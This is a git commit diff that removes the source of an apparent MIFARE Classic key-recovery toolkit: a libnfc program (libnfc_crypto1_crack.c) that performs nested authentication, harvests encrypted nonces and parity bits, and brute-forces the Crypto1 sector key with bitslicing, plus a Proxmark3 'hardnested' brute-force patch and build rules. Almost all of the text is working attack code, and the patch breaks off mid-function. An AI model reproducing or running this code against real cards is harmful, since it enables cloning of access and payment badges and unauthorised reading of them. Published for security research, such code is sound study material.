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Pin Lin
2023-04-16 04:27:32 +08:00
parent 86cf972a68
commit d42eb52a2e
9 changed files with 1 additions and 1848 deletions
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BIN
0xcafec0de.bin
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41
Makefile
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@ -22,44 +22,5 @@ holycard_collect:
holycard_solve:
$(CC) $(CFLAGS) $@.c $(CRYPTO1_BS) $(CRAPTO1) ${CRAPTEV1} -o $@ -lpthread -lm $(LDFLAGS)
solve_bs:
$(CC) $(CFLAGS) $@.c $(CRYPTO1_BS) $(CRAPTO1) ${CRAPTEV1} -o $@ -lpthread -lm $(LDFLAGS)
solve_piwi_bs:
$(CC) $(CFLAGS) $@.c $(CRYPTO1_BS) $(CRAPTO1) ${CRAPTEV1} -o $@ -lpthread -lm $(LDFLAGS)
solve_piwi:
$(CC) $(CFLAGS) $@.c $(CRYPTO1_BS) $(CRAPTO1) ${CRAPTEV1} -o $@ -lpthread $(LDFLAGS)
libnfc_crypto1_crack:
$(CC) $(CFLAGS) $@.c $(CRYPTO1_BS) $(CRAPTO1) ${CRAPTEV1} -o $@ -lpthread -lnfc -lm $(LDFLAGS)
clean:
rm -f solve.so solve_bs solve_piwi_bs solve_piwi libnfc_crypto1_crack holycard_collect holycard_solve
# Windows cross compilation
MINGW32 = i686-w64-mingw32-gcc
MINGW64 = x86_64-w64-mingw32-gcc
# solve.c code cannot be compiled on windows without patching the includes
WIN32EXES = solve_piwi_bs32.exe solve_piwi32.exe libnfc_crypto1_crack32.exe
win32: $(WIN32EXES)
win32_clean:
rm -f $(WIN32EXES)
WIN64EXES = solve_piwi_bs64.exe solve_piwi64.exe libnfc_crypto1_crack64.exe
win64: $(WIN64EXES)
win64_clean:
rm -f $(WIN64EXES)
solve_piwi_bs32.exe:
$(MINGW32) $(CFLAGS) solve_piwi_bs.c $(CRYPTO1_BS) $(CRAPTO1) ${CRAPTEV1} -static -m32 -o $@ -lpthread
solve_piwi_bs64.exe:
$(MINGW64) $(CFLAGS) solve_piwi_bs.c $(CRYPTO1_BS) $(CRAPTO1) ${CRAPTEV1} -static -o $@ -lpthread
solve_piwi32.exe:
$(MINGW32) $(CFLAGS) solve_piwi.c $(CRYPTO1_BS) $(CRAPTO1) ${CRAPTEV1} -static -m32 -o $@ -lpthread
solve_piwi64.exe:
$(MINGW64) $(CFLAGS) solve_piwi.c $(CRYPTO1_BS) $(CRAPTO1) ${CRAPTEV1} -static -o $@ -lpthread
rm -f solve.so holycard_collect holycard_solve

16
bintotxt.py
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@ -1,16 +0,0 @@
import sys
data = file(sys.argv[1], 'rb').read()
uid = data[0:4]
def parity(x):
return ("{0:08b}".format(x).count('1') & 1)
for idx in range(6, len(data), 9):
n = data[idx:idx+8]
p = data[idx+8]
nonce_string = [ "%02x" % ord(n[i])
+ (' ' if int(x)^parity(ord(n[i])) else '! ')
for i, x in enumerate(("{0:08b}".format(ord(p))))
]
print ''.join(nonce_string[:4])
print ''.join(nonce_string[4:])

738
libnfc_crypto1_crack.c
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@ -1,738 +0,0 @@
// Copyright (C) 2016 Aram Verstegen
/*
GNU GENERAL PUBLIC LICENSE
Version 2, June 1991
Copyright (C) 1989, 1991 Free Software Foundation, Inc.,
51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
Everyone is permitted to copy and distribute verbatim copies
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END OF TERMS AND CONDITIONS
*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <signal.h>
#include <pthread.h>
#include <fcntl.h>
#include <unistd.h>
#include <nfc/nfc.h>
#include <math.h>
#include "crypto1_bs_crack.h"
#define llu PRIu64
extern uint64_t * crypto1_create(uint64_t key);
extern uint32_t crypto1_word(uint64_t *, uint32_t, int);
extern uint8_t crypto1_byte(uint64_t*, uint8_t, int);
extern uint32_t prng_successor(uint32_t x, uint32_t n);
extern void crypto1_destroy(uint64_t*);
#define MC_AUTH_A 0x60
#define MC_AUTH_B 0x61
nfc_device* pnd;
nfc_target target;
typedef uint8_t byte_t;
uint8_t oddparity(const uint8_t bt)
{
// cf http://graphics.stanford.edu/~seander/bithacks.html#ParityParallel
return (0x9669 >> ((bt ^(bt >> 4)) & 0xF)) & 1;
}
long long unsigned int bytes_to_num(uint8_t *src, uint32_t len)
{
uint64_t num = 0;
while (len--) {
num = (num << 8) | (*src);
src++;
}
return num;
}
// Sectors 0 to 31 have 4 blocks per sector.
// Sectors 32 to 39 have 16 blocks per sector.
uint8_t block_to_sector(uint8_t block)
{
uint8_t sector;
if(block < 128) {
return block >> 2;
}
block -= 128;
return 32 + (block >> 4);
}
static nfc_context *context;
#define MAX_FRAME_LEN 264
uint64_t *nonces = NULL;
size_t nonces_collected;
enum {
OK,
ERROR,
KEY_WRONG,
};
#define VT100_cleareol "\r\33[2K"
// Almost entirely based on code from Mifare Offline Cracker (MFOC) by Nethemba, cheers guys! :)
int nested_auth(uint32_t uid, uint64_t known_key, uint8_t ab_key, uint8_t for_block, uint8_t target_block, uint8_t target_key, FILE* fp)
{
uint64_t *pcs;
// Possible key counter, just continue with a previous "session"
uint8_t Nr[4] = { 0x00, 0x00, 0x00, 0x00 }; // Reader nonce
uint8_t Cmd[4] = { 0x00, 0x00, 0x00, 0x00 };
uint8_t ArEnc[8] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 };
uint8_t ArEncPar[8] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 };
uint8_t Rx[MAX_FRAME_LEN]; // Tag response
uint8_t RxPar[MAX_FRAME_LEN]; // Tag response
uint32_t Nt;
int i;
// Prepare AUTH command
Cmd[0] = ab_key;
Cmd[1] = for_block;
iso14443a_crc_append(Cmd, 2);
// We need full control over the CRC
if (nfc_device_set_property_bool(pnd, NP_HANDLE_CRC, false) < 0) {
nfc_perror(pnd, "nfc_device_set_property_bool crc");
return ERROR;
}
// Request plain tag-nonce
// TODO: Set NP_EASY_FRAMING option only once if possible
if (nfc_device_set_property_bool(pnd, NP_EASY_FRAMING, false) < 0) {
nfc_perror(pnd, "nfc_device_set_property_bool framing");
return ERROR;
}
if (nfc_initiator_transceive_bytes(pnd, Cmd, 4, Rx, sizeof(Rx), 0) < 0) {
fprintf(stdout, "Error while requesting plain tag-nonce ");
return ERROR;
}
if (nfc_device_set_property_bool(pnd, NP_EASY_FRAMING, true) < 0) {
nfc_perror(pnd, "nfc_device_set_property_bool");
return ERROR;
}
// Save the tag nonce (Nt)
Nt = bytes_to_num(Rx, 4);
// Init the cipher with key {0..47} bits
pcs = crypto1_create(known_key);
// Load (plain) uid^nt into the cipher {48..79} bits
crypto1_word(pcs, bytes_to_num(Rx, 4) ^ uid, 0);
// Generate (encrypted) nr+parity by loading it into the cipher
for (i = 0; i < 4; i++) {
// Load in, and encrypt the reader nonce (Nr)
ArEnc[i] = crypto1_byte(pcs, Nr[i], 0) ^ Nr[i];
ArEncPar[i] = filter(*pcs) ^ oddparity(Nr[i]);
}
// Skip 32 bits in the pseudo random generator
Nt = prng_successor(Nt, 32);
// Generate reader-answer from tag-nonce
for (i = 4; i < 8; i++) {
// Get the next random byte
Nt = prng_successor(Nt, 8);
// Encrypt the reader-answer (Nt' = suc2(Nt))
ArEnc[i] = crypto1_byte(pcs, 0x00, 0) ^(Nt & 0xff);
ArEncPar[i] = filter(*pcs) ^ oddparity(Nt);
}
// Finally we want to send arbitrary parity bits
if (nfc_device_set_property_bool(pnd, NP_HANDLE_PARITY, false) < 0) {
nfc_perror(pnd, "nfc_device_set_property_bool parity ");
return 1;
}
// Transmit reader-answer
int res;
if (((res = nfc_initiator_transceive_bits(pnd, ArEnc, 64, ArEncPar, Rx, sizeof(Rx), RxPar)) < 0) || (res != 32)) {
fprintf(stderr, "Reader-answer transfer error, exiting.. ");
return KEY_WRONG;
}
// Decrypt the tag answer and verify that suc3(Nt) is At
Nt = prng_successor(Nt, 32);
if (!((crypto1_word(pcs, 0x00, 0) ^ bytes_to_num(Rx, 4)) == (Nt & 0xFFFFFFFF))) {
fprintf(stderr, "[At] is not Suc3(Nt), something is wrong, exiting.. ");
return ERROR;
}
Cmd[0] = target_key;
Cmd[1] = target_block;
iso14443a_crc_append(Cmd, 2);
for (i = 0; i < 4; i++) {
ArEnc[i] = crypto1_byte(pcs, 0, 0) ^ Cmd[i];
ArEncPar[i] = filter(*pcs) ^ oddparity(Cmd[i]);
}
if (((res = nfc_initiator_transceive_bits(pnd, ArEnc, 32, ArEncPar, Rx, sizeof(Rx), RxPar)) < 0) || (res != 32)) {
fprintf(stderr, "Reader-answer transfer error, exiting.. ");
return ERROR;
}
if(fp){
for(i = 0; i < 4; i++){
fprintf(fp,"%02x", Rx[i]);
if(RxPar[i] != oddparity(Rx[i])){
fprintf(fp,"! ");
} else {
fprintf(fp," ");
}
}
fprintf(fp, "\n");
}
if(nonces){
nonces[nonces_collected] = 0;
for(i = 0; i < 4; i++){
nonces[nonces_collected] |= ((uint64_t) Rx[i]) << (8*i);
nonces[nonces_collected] |= ((uint64_t) !RxPar[i]) << (32 + (8*i));
}
nonces_collected++;
}
crypto1_destroy(pcs);
return OK;
}
uint32_t uid;
uint32_t **space;
uint64_t found_key;
size_t thread_count;
void* crack_states_thread(void* x){
const size_t thread_id = (size_t)x;
int j;
for(j = thread_id; space[j * 5]; j += thread_count) {
const uint64_t key = crack_states_bitsliced(space + j * 5);
if(key != -1){
found_key = key;
break;
}
}
return NULL;
}
bool stop_collection = false;
#define CUTOFF ((uint64_t) 1<<39)
void * update_predictions_thread(void* p){
while(!stop_collection){
if(nonces && uid){
if(space){
craptev1_destroy_space(space);
space = NULL;
}
space = craptev1_get_space(nonces, 95, uid);
}
if(space){
total_states = craptev1_sizeof_space(space);
}
sleep(1); // We don't need to check this more often than once per second
}
return NULL;
}
void notify_status_offline(int sig){
printf(VT100_cleareol "Cracking... %6.02f%%", (100.0*total_states_tested/(total_states)));
alarm(1);
fflush(stdout);
signal(SIGALRM, notify_status_offline);
}
void notify_status_online(int sig){
if(!total_states){
printf(VT100_cleareol "Collected %zu nonces... ", nonces_collected);
} else {
printf(VT100_cleareol "Collected %zu nonces... leftover complexity %"llu" (~2^%0.2f)", nonces_collected, total_states, log(total_states) / log(2));
char c;
if(scanf("%c", &c) == 1 || total_states < CUTOFF){
printf(" - initializing brute-force phase...\n");
alarm(0);
stop_collection = true;
return;
} else {
printf(" - press enter to start brute-force phase");
}
}
alarm(1);
fflush(stdout);
signal(SIGALRM, notify_status_online);
}
uint64_t known_key;
uint8_t for_block;
uint8_t ab_key;
uint8_t target_block;
uint8_t target_key;
FILE* fp;
const nfc_modulation nmMifare = {
.nmt = NMT_ISO14443A,
.nbr = NBR_106,
};
void * update_nonces_thread(void* v){
while(!stop_collection){
// Configure the CRC and Parity settings
nfc_device_set_property_bool(pnd,NP_HANDLE_CRC,true);
nfc_device_set_property_bool(pnd,NP_HANDLE_PARITY,true);
// Poll for a ISO14443A (MIFARE) tag
if (nfc_initiator_select_passive_target(pnd,nmMifare,NULL,0,&target)) {
nested_auth(uid, known_key, ab_key, for_block, target_block, target_key, fp);
} else {
printf(VT100_cleareol "Don't move the tag!");
fflush(stdout);
}
}
return NULL;
}
int main (int argc, const char * argv[]) {
nfc_init(&context);
pnd = nfc_open(context, NULL);
if (pnd == NULL) {
fprintf(stderr, "No NFC device connection\n");
return 1;
}
nfc_initiator_init(pnd);
nfc_device_set_property_bool(pnd,NP_ACTIVATE_FIELD,false);
// Let the reader only try once to find a tag
nfc_device_set_property_bool(pnd,NP_INFINITE_SELECT,false);
nfc_device_set_property_bool(pnd,NP_HANDLE_CRC,true);
nfc_device_set_property_bool(pnd,NP_HANDLE_PARITY,true);
nfc_device_set_property_bool(pnd,NP_AUTO_ISO14443_4, false);
uid = 0;
// Enable field so more power consuming cards can power themselves up
nfc_device_set_property_bool(pnd,NP_ACTIVATE_FIELD,true);
if (nfc_initiator_select_passive_target(pnd,nmMifare,NULL,0,&target)) {
uid = bytes_to_num(target.nti.nai.abtUid,target.nti.nai.szUidLen);
}
if(!uid){
fprintf(stderr, "No tag detected!\n");
// Disconnect from NFC device
nfc_close(pnd);
return 1;
}
if(argc < 6){
printf("%s <known key> <for block> <A|B> <target block> <A|B>\n", argv[0]);
nfc_close(pnd);
return 1;
}
known_key = strtoull(argv[1], 0, 16);
for_block = atoi(argv[2]);
ab_key = MC_AUTH_A;
if(argv[3][0] == 'b' || argv[3][0] == 'B'){
ab_key = MC_AUTH_B;
}
target_block = atoi(argv[4]);
target_key = MC_AUTH_A;
if(argv[5][0] == 'b' || argv[5][0] == 'B'){
target_key = MC_AUTH_B;
}
switch(nested_auth(uid, known_key, ab_key, for_block, target_block, target_key, NULL)){
case KEY_WRONG:
printf("%012"PRIx64" doesn't look like the right key %s for block %u (sector %u)\n", known_key, ab_key == MC_AUTH_A ? "A" : "B", for_block, block_to_sector(for_block));
return 1;
case OK:
break;
case ERROR:
default:
printf("Some other error occurred.\n");
break;
}
char filename[21];
sprintf(filename, "0x%08x_%03u%s.txt", uid, target_block, target_key == MC_AUTH_A ? "A" : "B");
fp = fopen(filename, "wb");
printf("Found tag with uid %04x, collecting nonces for key %s of block %u (sector %u) using known key %s %012"PRIx64" for block %u (sector %u)\n",
uid, target_key == MC_AUTH_A ? "A" : "B", target_block, block_to_sector(target_block), ab_key == MC_AUTH_A ? "A" : "B", known_key, for_block, block_to_sector(for_block));
nonces_collected = 0;
nonces = malloc(sizeof (uint64_t) << 24);
memset(nonces, 0xff, sizeof (uint64_t) << 24);
fcntl(0, F_SETFL, O_NONBLOCK);
signal(SIGALRM, notify_status_online);
alarm(1);
pthread_t prediction_thread, nonce_gathering_thread;
pthread_create(&nonce_gathering_thread, NULL, update_nonces_thread, NULL);
pthread_create(&prediction_thread, NULL, update_predictions_thread, NULL);
pthread_join(nonce_gathering_thread, 0);
pthread_join(prediction_thread, 0);
alarm(0);
if(fp){
fclose(fp);
}
nfc_close(pnd);
if(!space){
space = craptev1_get_space(nonces, 95, uid);
}
if(space){
total_states = craptev1_sizeof_space(space);
} else {
total_states = 0;
}
if(!total_states){
fprintf(stderr, "No solution found :(\n");
return 1;
}
#ifndef __WIN32
thread_count = sysconf(_SC_NPROCESSORS_CONF);
#else
thread_count = 1;
#endif
// append some zeroes to the end of the space to make sure threads don't go off into the wild
size_t j = 0;
for(j = 0; space[j]; j+=5){
}
size_t fill = j + (5*thread_count);
for(; j < fill; j++) {
space[j] = 0;
}
pthread_t threads[thread_count];
crypto1_bs_init();
uint8_t rollback_byte = **space;
// convert to 32 bit little-endian
crypto1_bs_bitslice_value32(rev32((rollback_byte)), bitsliced_rollback_byte, 8);
for(size_t tests = 0; tests < NONCE_TESTS; tests++){
// pre-xor the uid into the decrypted nonces, and also pre-xor the uid parity into the encrypted parity bits - otherwise an exta xor is required in the decryption routine
uint32_t test_nonce = uid^rev32(nonces[tests]);
uint32_t test_parity = (nonces[tests]>>32)^rev32(uid);
test_parity = ((parity(test_parity >> 24 & 0xff) & 1) | (parity(test_parity>>16 & 0xff) & 1)<<1 | (parity(test_parity>>8 & 0xff) & 1)<<2 | (parity(test_parity & 0xff) & 1) << 3);
crypto1_bs_bitslice_value32(test_nonce, bitsliced_encrypted_nonces[tests], 32);
// convert to 32 bit little-endian
crypto1_bs_bitslice_value32(~(test_parity)<<24, bitsliced_encrypted_parity_bits[tests], 4);
}
printf("Starting %zu threads to test %"llu" states using %u-way bitslicing\n", thread_count, total_states, MAX_BITSLICES);
total_states_tested = 0;
keys_found = 0;
signal(SIGALRM, notify_status_offline);
notify_status_offline(0);
alarm(1);
size_t i;
for(i = 0; i < thread_count; i++){
pthread_create(&threads[i], NULL, crack_states_thread, (void*) i);
}
for(i = 0; i < thread_count; i++){
pthread_join(threads[i], 0);
}
alarm(0);
printf("\n");
if(!keys_found){
fprintf(stderr, "No solution found :(\n");
return 1;
} else {
printf("Found key: %012"PRIx64"\n", found_key);
}
printf("Tested %"llu" states\n", total_states_tested);
craptev1_destroy_space(space);
return 0;
}

632
pwpiwi_proxmark3_hard_nested.patch
View File

@ -1,632 +0,0 @@
Just thought I'd make it clear that this code is GPLv2 licensed here
-- Aram Verstegen
GNU GENERAL PUBLIC LICENSE
Version 2, June 1991
Copyright (C) 1989, 1991 Free Software Foundation, Inc.,
51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
Everyone is permitted to copy and distribute verbatim copies
of this license document, but changing it is not allowed.
Preamble
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END OF TERMS AND CONDITIONS
diff --git a/client/Makefile b/client/Makefile
index 91e595d..dc3557f 100644
--- a/client/Makefile
+++ b/client/Makefile
@@ -107,6 +107,7 @@ CMDSRCS = nonce2key/crapto1.c\
aes.c\
protocols.c\
sha1.c\
+ crypto1_bs.c \
ZLIBSRCS = deflate.c adler32.c trees.c zutil.c inflate.c inffast.c inftrees.c
ZLIB_FLAGS = -DZ_SOLO -DZ_PREFIX -DNO_GZIP -DZLIB_PM3_TUNED
diff --git a/client/cmdhfmfhard.c b/client/cmdhfmfhard.c
index b3893ea..bf71a08 100644
--- a/client/cmdhfmfhard.c
+++ b/client/cmdhfmfhard.c
@@ -20,12 +20,15 @@
#include <pthread.h>
#include <locale.h>
#include <math.h>
+#include <malloc.h>
+#include <assert.h>
#include "proxmark3.h"
#include "cmdmain.h"
#include "ui.h"
#include "util.h"
#include "nonce2key/crapto1.h"
#include "parity.h"
+#include "crypto1_bs.h"
// uint32_t test_state_odd = 0;
// uint32_t test_state_even = 0;
@@ -88,6 +91,8 @@ typedef struct noncelist {
} noncelist_t;
+static size_t nonces_to_bruteforce = 0;
+static noncelistentry_t *brute_force_nonces[256];
static uint32_t cuid;
static noncelist_t nonces[256];
static uint8_t best_first_bytes[256];
@@ -169,6 +174,11 @@ static int add_nonce(uint32_t nonce_enc, uint8_t par_enc)
p2->nonce_enc = nonce_enc;
p2->par_enc = par_enc;
+ if(nonces_to_bruteforce < 256){
+ brute_force_nonces[nonces_to_bruteforce] = p2;
+ nonces_to_bruteforce++;
+ }
+
nonces[first_byte].num++;
nonces[first_byte].Sum += evenparity32((nonce_enc & 0x00ff0000) | (par_enc & 0x04));
nonces[first_byte].updated = true; // indicates that we need to recalculate the Sum(a8) probability for this first byte
@@ -1376,6 +1386,236 @@ static void free_statelist_cache(void)
}
}
+size_t keys_found = 0;
+size_t bucket_count = 0;
+statelist_t* buckets[128];
+size_t total_states_tested = 0;
+size_t thread_count = 4;
+
+// these bitsliced states will hold identical states in all slices
+bitslice_t bitsliced_rollback_byte[ROLLBACK_SIZE];
+
+// arrays of bitsliced states with identical values in all slices
+bitslice_t bitsliced_encrypted_nonces[NONCE_TESTS][STATE_SIZE];
+bitslice_t bitsliced_encrypted_parity_bits[NONCE_TESTS][ROLLBACK_SIZE];
+
+#define EXACT_COUNT
+
+static const uint64_t crack_states_bitsliced(statelist_t *p){
+ // the idea to roll back the half-states before combining them was suggested/explained to me by bla
+ // first we pre-bitslice all the even state bits and roll them back, then bitslice the odd bits and combine the two in the inner loop
+ uint64_t key = -1;
+#ifdef EXACT_COUNT
+ size_t bucket_states_tested = 0;
+ size_t bucket_size[p->len[EVEN_STATE]/MAX_BITSLICES];
+#else
+ const size_t bucket_states_tested = (p->len[EVEN_STATE])*(p->len[ODD_STATE]);
+#endif
+ bitslice_t *bitsliced_even_states[p->len[EVEN_STATE]/MAX_BITSLICES];
+ size_t bitsliced_blocks = 0;
+ uint32_t const * restrict even_end = p->states[EVEN_STATE]+p->len[EVEN_STATE];
+ // bitslice all the even states
+ for(uint32_t * restrict p_even = p->states[EVEN_STATE]; p_even < even_end; p_even+=MAX_BITSLICES){
+ bitslice_t * restrict lstate_p = memalign(sizeof(bitslice_t), (STATE_SIZE+ROLLBACK_SIZE)*sizeof(bitslice_t));
+ memset(lstate_p+1, 0x0, (STATE_SIZE-1)*sizeof(bitslice_t)); // zero even bits
+ // bitslice even half-states
+ const size_t max_slices = (even_end-p_even) < MAX_BITSLICES ? even_end-p_even : MAX_BITSLICES;
+#ifdef EXACT_COUNT
+ bucket_size[bitsliced_blocks] = max_slices;
+#endif
+ for(size_t slice_idx = 0; slice_idx < max_slices; ++slice_idx){
+ uint32_t e = *(p_even+slice_idx);
+ for(size_t bit_idx = 1; bit_idx < STATE_SIZE; bit_idx+=2, e >>= 1){
+ // set even bits
+ if(e&1){
+ lstate_p[bit_idx].bytes64[slice_idx>>6] |= 1ull << (slice_idx&63);
+ }
+ }
+ }
+ // compute the rollback bits
+ for(size_t rollback = 0; rollback < ROLLBACK_SIZE; ++rollback){
+ // inlined crypto1_bs_lfsr_rollback
+ const bitslice_value_t feedout = lstate_p[0].value;
+ ++lstate_p;
+ const bitslice_value_t ks_bits = crypto1_bs_f20(lstate_p);
+ const bitslice_value_t feedback = (feedout ^ ks_bits ^ lstate_p[47- 5].value ^ lstate_p[47- 9].value ^
+ lstate_p[47-10].value ^ lstate_p[47-12].value ^ lstate_p[47-14].value ^
+ lstate_p[47-15].value ^ lstate_p[47-17].value ^ lstate_p[47-19].value ^
+ lstate_p[47-24].value ^ lstate_p[47-25].value ^ lstate_p[47-27].value ^
+ lstate_p[47-29].value ^ lstate_p[47-35].value ^ lstate_p[47-39].value ^
+ lstate_p[47-41].value ^ lstate_p[47-42].value ^ lstate_p[47-43].value);
+ lstate_p[47].value = feedback ^ bitsliced_rollback_byte[rollback].value;
+ }
+ bitsliced_even_states[bitsliced_blocks++] = lstate_p;
+ }
+ // bitslice every odd state to every block of even half-states with half-finished rollback
+ for(uint32_t const * restrict p_odd = p->states[ODD_STATE]; p_odd < p->states[ODD_STATE]+p->len[ODD_STATE]; ++p_odd){
+ // early abort
+ if(keys_found){
+ goto out;
+ }
+
+ // set the odd bits and compute rollback
+ uint64_t o = (uint64_t) *p_odd;
+ lfsr_rollback_byte((struct Crypto1State*) &o, 0, 1);
+ // pre-compute part of the odd feedback bits (minus rollback)
+ bool odd_feedback_bit = parity(o&0x9ce5c);
+
+ crypto1_bs_rewind_a0();
+ // set odd bits
+ for(size_t state_idx = 0; state_idx < STATE_SIZE-ROLLBACK_SIZE; o >>= 1, state_idx+=2){
+ if(o & 1){
+ state_p[state_idx] = bs_ones;
+ } else {
+ state_p[state_idx] = bs_zeroes;
+ }
+ }
+ const bitslice_value_t odd_feedback = odd_feedback_bit ? bs_ones.value : bs_zeroes.value;
+
+ for(size_t block_idx = 0; block_idx < bitsliced_blocks; ++block_idx){
+ const bitslice_t const * restrict bitsliced_even_state = bitsliced_even_states[block_idx];
+ size_t state_idx;
+ // set even bits
+ for(state_idx = 0; state_idx < STATE_SIZE-ROLLBACK_SIZE; state_idx+=2){
+ state_p[1+state_idx] = bitsliced_even_state[1+state_idx];
+ }
+ // set rollback bits
+ uint64_t lo = o;
+ for(; state_idx < STATE_SIZE; lo >>= 1, state_idx+=2){
+ // set the odd bits and take in the odd rollback bits from the even states
+ if(lo & 1){
+ state_p[state_idx].value = ~bitsliced_even_state[state_idx].value;
+ } else {
+ state_p[state_idx] = bitsliced_even_state[state_idx];
+ }
+
+ // set the even bits and take in the even rollback bits from the odd states
+ if((lo >> 32) & 1){
+ state_p[1+state_idx].value = ~bitsliced_even_state[1+state_idx].value;
+ } else {
+ state_p[1+state_idx] = bitsliced_even_state[1+state_idx];
+ }
+ }
+
+#ifdef EXACT_COUNT
+ bucket_states_tested += bucket_size[block_idx];
+#endif
+ // pre-compute first keystream and feedback bit vectors
+ const bitslice_value_t ksb = crypto1_bs_f20(state_p);
+ const bitslice_value_t fbb = (odd_feedback ^ state_p[47- 0].value ^ state_p[47- 5].value ^ // take in the even and rollback bits
+ state_p[47-10].value ^ state_p[47-12].value ^ state_p[47-14].value ^
+ state_p[47-24].value ^ state_p[47-42].value);
+
+ // vector to contain test results (1 = passed, 0 = failed)
+ bitslice_t results = bs_ones;
+
+ for(size_t tests = 0; tests < NONCE_TESTS; ++tests){
+ size_t parity_bit_idx = 0;
+ bitslice_value_t fb_bits = fbb;
+ bitslice_value_t ks_bits = ksb;
+ state_p = &states[KEYSTREAM_SIZE-1];
+ bitslice_value_t parity_bit_vector = bs_zeroes.value;
+
+ // highest bit is transmitted/received first
+ for(int32_t ks_idx = KEYSTREAM_SIZE-1; ks_idx >= 0; --ks_idx, --state_p){
+ // decrypt nonce bits
+ const bitslice_value_t encrypted_nonce_bit_vector = bitsliced_encrypted_nonces[tests][ks_idx].value;
+ const bitslice_value_t decrypted_nonce_bit_vector = (encrypted_nonce_bit_vector ^ ks_bits);
+
+ // compute real parity bits on the fly
+ parity_bit_vector ^= decrypted_nonce_bit_vector;
+
+ // update state
+ state_p[0].value = (fb_bits ^ decrypted_nonce_bit_vector);
+
+ // compute next keystream bit
+ ks_bits = crypto1_bs_f20(state_p);
+
+ // for each byte:
+ if((ks_idx&7) == 0){
+ // get encrypted parity bits
+ const bitslice_value_t encrypted_parity_bit_vector = bitsliced_encrypted_parity_bits[tests][parity_bit_idx++].value;
+
+ // decrypt parity bits
+ const bitslice_value_t decrypted_parity_bit_vector = (encrypted_parity_bit_vector ^ ks_bits);
+
+ // compare actual parity bits with decrypted parity bits and take count in results vector
+ results.value &= (parity_bit_vector ^ decrypted_parity_bit_vector);
+
+ // make sure we still have a match in our set
+ // if(memcmp(&results, &bs_zeroes, sizeof(bitslice_t)) == 0){
+
+ // this is much faster on my gcc, because somehow a memcmp needlessly spills/fills all the xmm registers to/from the stack - ???
+ // the short-circuiting also helps
+ if(results.bytes64[0] == 0
+#if MAX_BITSLICES > 64
+ && results.bytes64[1] == 0
+#endif
+#if MAX_BITSLICES > 128
+ && results.bytes64[2] == 0
+ && results.bytes64[3] == 0
+#endif
+ ){
+ goto stop_tests;
+ }
+ // this is about as fast but less portable (requires -std=gnu99)
+ // asm goto ("ptest %1, %0\n\t"
+ // "jz %l2" :: "xm" (results.value), "xm" (bs_ones.value) : "cc" : stop_tests);
+ parity_bit_vector = bs_zeroes.value;
+ }
+ // compute next feedback bit vector
+ fb_bits = (state_p[47- 0].value ^ state_p[47- 5].value ^ state_p[47- 9].value ^
+ state_p[47-10].value ^ state_p[47-12].value ^ state_p[47-14].value ^
+ state_p[47-15].value ^ state_p[47-17].value ^ state_p[47-19].value ^
+ state_p[47-24].value ^ state_p[47-25].value ^ state_p[47-27].value ^
+ state_p[47-29].value ^ state_p[47-35].value ^ state_p[47-39].value ^
+ state_p[47-41].value ^ state_p[47-42].value ^ state_p[47-43].value);
+ }
+ }
+ // all nonce tests were successful: we've found the key in this block!
+ state_t keys[MAX_BITSLICES];
+ crypto1_bs_convert_states(&states[KEYSTREAM_SIZE], keys);
+ for(size_t results_idx = 0; results_idx < MAX_BITSLICES; ++results_idx){
+ if(get_vector_bit(results_idx, results)){
+ key = keys[results_idx].value;
+ goto out;
+ }
+ }
+stop_tests:
+ // prepare to set new states
+ crypto1_bs_rewind_a0();
+ continue;
+ }
+ }
+out:
+ for(size_t block_idx = 0; block_idx < bitsliced_blocks; ++block_idx){
+ free(bitsliced_even_states[block_idx]-ROLLBACK_SIZE);
+ }
+ __sync_fetch_and_add(&total_states_tested, bucket_states_tested);
+ return key;
+}
+
+static void* crack_states_thread(void* x){
+ const size_t thread_id = (size_t)x;
+ size_t current_bucket = thread_id;
+ while(current_bucket < bucket_count){
+ statelist_t * bucket = buckets[current_bucket];
+ if(bucket){
+ const uint64_t key = crack_states_bitsliced(bucket);
+ if(key != -1){
+ printf("Found key: %012lx\n", key);
+ __sync_fetch_and_add(&keys_found, 1);
+ break;
+ } else if(keys_found){
+ break;
+ } else {
+ printf("Cracking... %6.02f%%\n", (100.0*total_states_tested/(maximum_states)));
+ }
+ }
+ current_bucket += thread_count;
+ }
+ return NULL;
+}
static void brute_force(void)
{
@@ -1383,7 +1623,56 @@ static void brute_force(void)
PrintAndLog("Looking for known target key in remaining key space...");
TestIfKeyExists(known_target_key);
} else {
- PrintAndLog("Brute Force phase is not implemented.");
+ PrintAndLog("Brute force phase starting.");
+ time_t start, end;
+ time(&start);
+ keys_found = 0;
+
+ crypto1_bs_init();
+
+ PrintAndLog("Using %u-bit bitslices", MAX_BITSLICES);
+ PrintAndLog("Bitslicing best_first_byte^uid[3] (rollback byte): %02x...", best_first_bytes[0]^(cuid>>24));
+ // convert to 32 bit little-endian
+ crypto1_bs_bitslice_value32((best_first_bytes[0]<<24)^cuid, bitsliced_rollback_byte, 8);
+
+ PrintAndLog("Bitslicing nonces...");
+ for(size_t tests = 0; tests < NONCE_TESTS; tests++){
+ uint32_t test_nonce = brute_force_nonces[tests]->nonce_enc;
+ uint8_t test_parity = brute_force_nonces[tests]->par_enc;
+ // pre-xor the uid into the decrypted nonces, and also pre-xor the cuid parity into the encrypted parity bits - otherwise an exta xor is required in the decryption routine
+ crypto1_bs_bitslice_value32(cuid^test_nonce, bitsliced_encrypted_nonces[tests], 32);
+ // convert to 32 bit little-endian
+ crypto1_bs_bitslice_value32(rev32( ~(test_parity ^ ~(parity(cuid>>24 & 0xff)<<3 | parity(cuid>>16 & 0xff)<<2 | parity(cuid>>8 & 0xff)<<1 | parity(cuid&0xff)))), bitsliced_encrypted_parity_bits[tests], 4);
+ }
+ total_states_tested = 0;
+
+ // count number of states to go
+ bucket_count = 0;
+ for (statelist_t *p = candidates; p != NULL; p = p->next) {
+ buckets[bucket_count] = p;
+ bucket_count++;
+ }
+
+ // enumerate states using all hardware threads, each thread handles one bucket
+ thread_count = sysconf(_SC_NPROCESSORS_CONF);
+ PrintAndLog("Starting %u cracking threads to search %u buckets containing a total of %lu states...", thread_count, bucket_count, maximum_states);
+ pthread_t threads[thread_count];
+ for(size_t i = 0; i < thread_count; i++){
+ pthread_create(&threads[i], NULL, crack_states_thread, (void*) i);
+ }
+ for(size_t i = 0; i < thread_count; i++){
+ pthread_join(threads[i], 0);
+ }
+
+ time(&end);
